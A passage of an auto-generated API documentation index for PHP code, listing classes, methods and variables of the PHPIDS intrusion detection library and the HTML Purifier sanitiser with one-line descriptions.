class="method-title">getStorage</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodgetStorage">IDS_Monitor::getStorage()</a> in Monitor.php</div> - <div class="index-item-description">Returns storage container</div> - </dd> - <dt class="field"> - <span class="method-title">getTags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#methodgetTags">IDS_Filter::getTags()</a> in Filter.php</div> - <div class="index-item-description">Return list of affected tags</div> - </dd> - <dt class="field"> - <span class="method-title">getTags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodgetTags">IDS_Report::getTags()</a> in Report.php</div> - <div class="index-item-description">Returns list of affected tags</div> - </dd> - <dt class="field"> - <span class="method-title">getTags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetTags">IDS_Event::getTags()</a> in Event.php</div> - <div class="index-item-description">Returns affected tags</div> - </dd> - <dt class="field"> - <span class="method-title">getTypeName</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#methodgetTypeName">HTMLPurifier_VarParser::getTypeName()</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">getUnit</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#methodgetUnit">HTMLPurifier_Length::getUnit()</a> in Length.php</div> - <div class="index-item-description">Retrieves string unit.</div> - </dd> - <dt class="field"> - <span class="method-title">getValue</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#methodgetValue">IDS_Event::getValue()</a> in Event.php</div> - <div class="index-item-description">Returns event value</div> - </dd> - <dt class="field"> - <span class="include-title">Generator.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Generator.php.html">Generator.php</a> in Generator.php</div> - </dd> - </dl> - <a name="h"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">h</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$hierarchical</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_http.html#var$hierarchical">HTMLPurifier_URIScheme_http::$hierarchical</a> in http.php</div> - </dd> - <dt class="field"> - <span class="var-title">$hierarchical</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme.html#var$hierarchical">HTMLPurifier_URIScheme::$hierarchical</a> in URIScheme.php</div> - <div class="index-item-description">Whether or not the URI always uses <hier_part>, resolves edge cases</div> - </dd> - <dt class="field"> - <span class="var-title">$hierarchical</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_ftp.html#var$hierarchical">HTMLPurifier_URIScheme_ftp::$hierarchical</a> in ftp.php</div> - </dd> - <dt class="field"> - <span class="var-title">$host</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#var$host">HTMLPurifier_URI::$host</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$host</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#var$host">HTMLPurifier_URIDefinition::$host</a> in URIDefinition.php</div> - <div class="index-item-description">String host to consider "home" base, derived off of $base</div> - </dd> - <dt class="field"> - <span class="var-title">$htmlDefinition</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#var$htmlDefinition">HTMLPurifier_Injector::$htmlDefinition</a> in Injector.php</div> - <div class="index-item-description">Instance of HTMLPurifier_HTMLDefinition</div> - </dd> - <dt class="field"> - <span class="method-title">handleElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_DisplayLinkURI.html#methodhandleElement">HTMLPurifier_Injector_DisplayLinkURI::handleElement()</a> in DisplayLinkURI.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_RemoveEmpty.html#methodhandleElement">HTMLPurifier_Injector_RemoveEmpty::handleElement()</a> in RemoveEmpty.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodhandleElement">HTMLPurifier_Injector::handleElement()</a> in Injector.php</div> - <div class="index-item-description">Handler that is called when a start or empty token is processed</div> - </dd> - <dt class="field"> - <span class="method-title">handleElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#methodhandleElement">HTMLPurifier_Injector_SafeObject::handleElement()</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleElement</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_AutoParagraph.html#methodhandleElement">HTMLPurifier_Injector_AutoParagraph::handleElement()</a> in AutoParagraph.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleEnd</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodhandleEnd">HTMLPurifier_Injector::handleEnd()</a> in Injector.php</div> - <div class="index-item-description">Handler that is called when an end token is processed</div> - </dd> - <dt class="field"> - <span class="method-title">handleEnd</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html#methodhandleEnd">HTMLPurifier_Injector_SafeObject::handleEnd()</a> in SafeObject.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleEnd</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_DisplayLinkURI.html#methodhandleEnd">HTMLPurifier_Injector_DisplayLinkURI::handleEnd()</a> in DisplayLinkURI.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleText</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_Linkify.html#methodhandleText">HTMLPurifier_Injector_Linkify::handleText()</a> in Linkify.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleText</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodhandleText">HTMLPurifier_Injector::handleText()</a> in Injector.php</div> - <div class="index-item-description">Handler that is called when a text token is processed</div> - </dd> - <dt class="field"> - <span class="method-title">handleText</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_AutoParagraph.html#methodhandleText">HTMLPurifier_Injector_AutoParagraph::handleText()</a> in AutoParagraph.php</div> - </dd> - <dt class="field"> - <span class="method-title">handleText</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_PurifierLinkify.html#methodhandleText">HTMLPurifier_Injector_PurifierLinkify::handleText()</a> in PurifierLinkify.php</div> - </dd> - <dt class="field"> - <span class="method-title">hasEvent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodhasEvent">IDS_Report::hasEvent()</a> in Report.php</div> - <div class="index-item-description">Checks if a specific event with given name exists</div> - </dd> - <dt class="field"> - HASH - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constHASH">HTMLPurifier_VarParser::HASH</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">heavyHeader</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodheavyHeader">HTMLPurifier_Printer_HTMLDefinition::heavyHeader()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Creates a heavy header row</div> - </dd> - <dt class="field"> - HTML5 - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html">HTML5</a> in PH5P.php</div> - </dd> - <dt class="field"> - HTML5TreeConstructer - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html">HTML5TreeConstructer</a> in PH5P.php</div> - </dd> - <dt class="field"> - HTMLPurifier - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html">HTMLPurifier</a> in HTMLPurifier.php</div> - <div class="index-item-description">Facade that coordinates HTML Purifier's subsystems in order to purify HTML.</div> - </dd> - <dt class="field"> - <span class="method-title">HTMLPurifier</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.func.php.html#functionHTMLPurifier">HTMLPurifier()</a> in HTMLPurifier.func.php</div> - <div class="index-item-description">Purify HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrCollections - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrCollections.html">HTMLPurifier_AttrCollections</a> in AttrCollections.php</div> - <div class="index-item-description">Defines common attribute collections that modules reference</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef.html">HTMLPurifier_AttrDef</a> in AttrDef.php</div> - <div class="index-item-description">Base class for all validating attribute definitions.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS.html">HTMLPurifier_AttrDef_CSS</a> in CSS.php</div> - <div class="index-item-description">Validates the HTML attribute style, otherwise known as CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_AlphaValue - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_AlphaValue.html">HTMLPurifier_AttrDef_CSS_AlphaValue</a> in AlphaValue.php</div> - <div class="index-item-description">Validates a number as defined by the CSS spec.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Background - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Background.html">HTMLPurifier_AttrDef_CSS_Background</a> in Background.php</div> - <div class="index-item-description">Validates shorthand CSS property background.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_BackgroundPosition - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_BackgroundPosition.html">HTMLPurifier_AttrDef_CSS_BackgroundPosition</a> in BackgroundPosition.php</div> - <div class="index-item-description">Validates the value of background-position.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Border - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Border.html">HTMLPurifier_AttrDef_CSS_Border</a> in Border.php</div> - <div class="index-item-description">Validates the border property as defined by CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Color - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Color.html">HTMLPurifier_AttrDef_CSS_Color</a> in Color.php</div> - <div class="index-item-description">Validates Color as defined by CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Composite - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Composite.html">HTMLPurifier_AttrDef_CSS_Composite</a> in Composite.php</div> - <div class="index-item-description">Allows multiple validators to attempt to validate attribute.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_DenyElementDecorator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_DenyElementDecorator.html">HTMLPurifier_AttrDef_CSS_DenyElementDecorator</a> in DenyElementDecorator.php</div> - <div class="index-item-description">Decorator which enables CSS properties to be disabled for specific elements.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Filter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Filter.html">HTMLPurifier_AttrDef_CSS_Filter</a> in Filter.php</div> - <div class="index-item-description">Microsoft's proprietary filter: CSS property</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Font - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Font.html">HTMLPurifier_AttrDef_CSS_Font</a> in Font.php</div> - <div class="index-item-description">Validates shorthand CSS property font.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_FontFamily - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_FontFamily.html">HTMLPurifier_AttrDef_CSS_FontFamily</a> in FontFamily.php</div> - <div class="index-item-description">Validates a font family list according to CSS spec</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_ImportantDecorator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ImportantDecorator.html">HTMLPurifier_AttrDef_CSS_ImportantDecorator</a> in ImportantDecorator.php</div> - <div class="index-item-description">Decorator which enables !important to be used in CSS values.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Length - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Length.html">HTMLPurifier_AttrDef_CSS_Length</a> in Length.php</div> - <div class="index-item-description">Represents a Length as defined by CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_ListStyle - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ListStyle.html">HTMLPurifier_AttrDef_CSS_ListStyle</a> in ListStyle.php</div> - <div class="index-item-description">Validates shorthand CSS property list-style.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Multiple - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Multiple.html">HTMLPurifier_AttrDef_CSS_Multiple</a> in Multiple.php</div> - <div class="index-item-description">Framework class for strings that involve multiple values.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Number - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Number.html">HTMLPurifier_AttrDef_CSS_Number</a> in Number.php</div> - <div class="index-item-description">Validates a number as defined by the CSS spec.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_Percentage - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Percentage.html">HTMLPurifier_AttrDef_CSS_Percentage</a> in Percentage.php</div> - <div class="index-item-description">Validates a Percentage as defined by the CSS spec.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_TextDecoration - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_TextDecoration.html">HTMLPurifier_AttrDef_CSS_TextDecoration</a> in TextDecoration.php</div> - <div class="index-item-description">Validates the value for the CSS property text-decoration</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_CSS_URI - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_URI.html">HTMLPurifier_AttrDef_CSS_URI</a> in URI.php</div> - <div class="index-item-description">Validates a URI in CSS syntax, which uses url('http://example.com')</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_Enum - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Enum.html">HTMLPurifier_AttrDef_Enum</a> in Enum.php</div> - <div class="index-item-description">Validates a keyword against a list of valid values.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_Bool - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Bool.html">HTMLPurifier_AttrDef_HTML_Bool</a> in Bool.php</div> - <div class="index-item-description">Validates a boolean attribute</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_Color - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Color.html">HTMLPurifier_AttrDef_HTML_Color</a> in Color.php</div> - <div class="index-item-description">Validates a color according to the HTML spec.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_FrameTarget - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_FrameTarget.html">HTMLPurifier_AttrDef_HTML_FrameTarget</a> in FrameTarget.php</div> - <div class="index-item-description">Special-case enum attribute definition that lazy loads allowed frame targets</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_ID - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_ID.html">HTMLPurifier_AttrDef_HTML_ID</a> in ID.php</div> - <div class="index-item-description">Validates the HTML attribute ID.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_Length - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Length.html">HTMLPurifier_AttrDef_HTML_Length</a> in Length.php</div> - <div class="index-item-description">Validates the HTML type length (not to be confused with CSS's length).</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_LinkTypes - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_LinkTypes.html">HTMLPurifier_AttrDef_HTML_LinkTypes</a> in LinkTypes.php</div> - <div class="index-item-description">Validates a rel/rev link attribute against a directive of allowed values</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_MultiLength - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_MultiLength.html">HTMLPurifier_AttrDef_HTML_MultiLength</a> in MultiLength.php</div> - <div class="index-item-description">Validates a MultiLength as defined by the HTML spec.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_Nmtokens - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Nmtokens.html">HTMLPurifier_AttrDef_HTML_Nmtokens</a> in Nmtokens.php</div> - <div class="index-item-description">Validates contents based on NMTOKENS attribute type.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_HTML_Pixels - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Pixels.html">HTMLPurifier_AttrDef_HTML_Pixels</a> in Pixels.php</div> - <div class="index-item-description">Validates an integer representation of pixels according to the HTML spec.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_Integer - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Integer.html">HTMLPurifier_AttrDef_Integer</a> in Integer.php</div> - <div class="index-item-description">Validates an integer.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_Lang - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Lang.html">HTMLPurifier_AttrDef_Lang</a> in Lang.php</div> - <div class="index-item-description">Validates the HTML attribute lang, effectively a language code.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_Switch - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Switch.html">HTMLPurifier_AttrDef_Switch</a> in Switch.php</div> - <div class="index-item-description">Decorator that, depending on a token, switches between two definitions.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_Text - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Text.html">HTMLPurifier_AttrDef_Text</a> in Text.php</div> - <div class="index-item-description">Validates arbitrary text according to the HTML spec.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_URI - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI.html">HTMLPurifier_AttrDef_URI</a> in URI.php</div> - <div class="index-item-description">Validates a URI as defined by RFC 3986.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_URI_Email - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Email.html">HTMLPurifier_AttrDef_URI_Email</a> in Email.php</div> - <div class="index-item-description">Base class for all validating attribute definitions.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_URI_Email_SimpleCheck - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Email_SimpleCheck.html">HTMLPurifier_AttrDef_URI_Email_SimpleCheck</a> in SimpleCheck.php</div> - <div class="index-item-description">Primitive email validation class based on the regexp found at</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_URI_Host - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Host.html">HTMLPurifier_AttrDef_URI_Host</a> in Host.php</div> - <div class="index-item-description">Validates a host according to the IPv4, IPv6 and DNS (future) specifications.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_URI_IPv4 - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_IPv4.html">HTMLPurifier_AttrDef_URI_IPv4</a> in IPv4.php</div> - <div class="index-item-description">Validates an IPv4 address</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrDef_URI_IPv6 - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_IPv6.html">HTMLPurifier_AttrDef_URI_IPv6</a> in IPv6.php</div> - <div class="index-item-description">Validates an IPv6 address.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform.html">HTMLPurifier_AttrTransform</a> in AttrTransform.php</div> - <div class="index-item-description">Processes an entire attribute array for corrections needing multiple values.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_Background - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Background.html">HTMLPurifier_AttrTransform_Background</a> in Background.php</div> - <div class="index-item-description">Pre-transform that changes proprietary background attribute to CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_BdoDir - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BdoDir.html">HTMLPurifier_AttrTransform_BdoDir</a> in BdoDir.php</div> - <div class="index-item-description">Post-trasnform that ensures that bdo tags have the dir attribute set.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_BgColor - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BgColor.html">HTMLPurifier_AttrTransform_BgColor</a> in BgColor.php</div> - <div class="index-item-description">Pre-transform that changes deprecated bgcolor attribute to CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_BoolToCSS - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_BoolToCSS.html">HTMLPurifier_AttrTransform_BoolToCSS</a> in BoolToCSS.php</div> - <div class="index-item-description">Pre-transform that changes converts a boolean attribute to fixed CSS</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_Border - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Border.html">HTMLPurifier_AttrTransform_Border</a> in Border.php</div> - <div class="index-item-description">Pre-transform that changes deprecated border attribute to CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_EnumToCSS - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_EnumToCSS.html">HTMLPurifier_AttrTransform_EnumToCSS</a> in EnumToCSS.php</div> - <div class="index-item-description">Generic pre-transform that converts an attribute with a fixed number of values (enumerated) to CSS.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_ImgRequired - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ImgRequired.html">HTMLPurifier_AttrTransform_ImgRequired</a> in ImgRequired.php</div> - <div class="index-item-description">Transform that supplies default values for the src and alt attributes in img tags, as well as prevents the img tag from being removed because of a missing alt tag. This needs to be registered as both a pre and post attribute transform.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_ImgSpace - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ImgSpace.html">HTMLPurifier_AttrTransform_ImgSpace</a> in ImgSpace.php</div> - <div class="index-item-description">Pre-transform that changes deprecated hspace and vspace attributes to CSS</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_Input - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Input.html">HTMLPurifier_AttrTransform_Input</a> in Input.php</div> - <div class="index-item-description">Performs miscellaneous cross attribute validation and filtering for input elements. This is meant to be a post-transform.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_Lang - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Lang.html">HTMLPurifier_AttrTransform_Lang</a> in Lang.php</div> - <div class="index-item-description">Post-transform that copies lang's value to xml:lang (and vice-versa)</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_Length - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Length.html">HTMLPurifier_AttrTransform_Length</a> in Length.php</div> - <div class="index-item-description">Class for handling width/height length attribute transformations to CSS</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_Name - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Name.html">HTMLPurifier_AttrTransform_Name</a> in Name.php</div> - <div class="index-item-description">Pre-transform that changes deprecated name attribute to ID if necessary</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_SafeEmbed - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeEmbed.html">HTMLPurifier_AttrTransform_SafeEmbed</a> in SafeEmbed.php</div> - <div class="index-item-description">Processes an entire attribute array for corrections needing multiple values.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_SafeObject - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeObject.html">HTMLPurifier_AttrTransform_SafeObject</a> in SafeObject.php</div> - <div class="index-item-description">Writes default type for all objects. Currently only supports flash.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_SafeParam - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_SafeParam.html">HTMLPurifier_AttrTransform_SafeParam</a> in SafeParam.php</div> - <div class="index-item-description">Validates name/value pairs in param tags to be used in safe objects. This will only allow name values it recognizes, and pre-fill certain attributes with required values.</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_ScriptRequired - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_ScriptRequired.html">HTMLPurifier_AttrTransform_ScriptRequired</a> in ScriptRequired.php</div> - <div class="index-item-description">Implements required attribute stipulation for <script></div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTransform_Textarea - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Textarea.html">HTMLPurifier_AttrTransform_Textarea</a> in Textarea.php</div> - <div class="index-item-description">Sets height/width defaults for <textarea></div> - </dd> - <dt class="field"> - HTMLPurifier_AttrTypes - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTypes.html">HTMLPurifier_AttrTypes</a> in AttrTypes.php</div> - <div class="index-item-description">Provides lookup array of attribute types to HTMLPurifier_AttrDef objects</div> - </dd> - <dt class="field"> - HTMLPurifier_AttrValidator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrValidator.html">HTMLPurifier_AttrValidator</a> in AttrValidator.php</div> - <div class="index-item-description">Validates the attributes of a token. Doesn't manage required attributes very well. The only reason we factored this out was because RemoveForeignElements also needed it besides ValidateAttributes.</div> - </dd> - <dt class="field"> - HTMLPurifier_Bootstrap - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Bootstrap.html">HTMLPurifier_Bootstrap</a> in Bootstrap.php</div> - <div class="index-item-description">Bootstrap class that contains meta-functionality for HTML Purifier such as the autoload function.</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef.html">HTMLPurifier_ChildDef</a> in ChildDef.php</div> - <div class="index-item-description">Defines allowed child nodes and validates tokens against it.</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef_Chameleon - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Chameleon.html">HTMLPurifier_ChildDef_Chameleon</a> in Chameleon.php</div> - <div class="index-item-description">Definition that uses different definitions depending on context.</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef_Custom - 